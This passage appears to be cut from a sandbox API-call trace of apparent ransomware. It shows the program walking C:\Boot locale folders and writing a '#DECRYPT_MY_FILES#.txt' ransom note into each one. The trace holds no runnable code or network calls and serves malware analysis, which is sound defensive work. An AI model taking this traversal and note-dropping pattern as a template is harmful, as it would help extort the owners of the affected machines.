ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.643] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.644] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0031.644] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.644] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.644] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.644] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.644] AreFileApisANSI () returned 1 [0031.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.644] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\ko-KR\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.644] CreateFileW (lpFileName="C:\\\\Boot\\ko-KR\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\ko-kr\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.645] GetFileType (hFile=0x108) returned 0x1 [0031.645] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.645] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.645] GetLastError () returned 0x0 [0031.646] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ko-KR\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.646] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.646] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d866c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.646] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.646] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.647] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.647] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.647] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.647] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.647] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.647] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.647] AreFileApisANSI () returned 1 [0031.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.647] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\nb-NO\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.647] CreateFileW (lpFileName="C:\\\\Boot\\nb-NO\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\nb-no\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.648] GetFileType (hFile=0x108) returned 0x1 [0031.648] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.648] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.648] GetLastError () returned 0x0 [0031.649] FindFirstFileA (in: lpFileName="C:\\\\Boot\\nb-NO\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.649] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.649] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d866c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.649] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.649] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.649] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.649] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.649] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.649] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.649] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.650] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.650] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.650] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.650] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.650] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.650] AreFileApisANSI () returned 1 [0031.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.650] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\nl-NL\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.651] CreateFileW (lpFileName="C:\\\\Boot\\nl-NL\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\nl-nl\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.652] GetFileType (hFile=0x108) returned 0x1 [0031.652] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.652] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.652] GetLastError () returned 0x0 [0031.653] FindFirstFileA (in: lpFileName="C:\\\\Boot\\nl-NL\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.661] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.661] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dac820, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.661] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.661] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.661] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.661] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.661] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.661] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.661] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.661] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.661] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.661] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.662] AreFileApisANSI () returned 1 [0031.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.662] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\pl-PL\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.662] CreateFileW (lpFileName="C:\\\\Boot\\pl-PL\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\pl-pl\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.662] GetFileType (hFile=0x108) returned 0x1 [0031.662] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.662] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.662] GetLastError () returned 0x0 [0031.663] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pl-PL\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.664] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.664] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dac820, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.664] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.664] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.664] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.664] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.664] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.664] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.664] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.664] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.664] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, 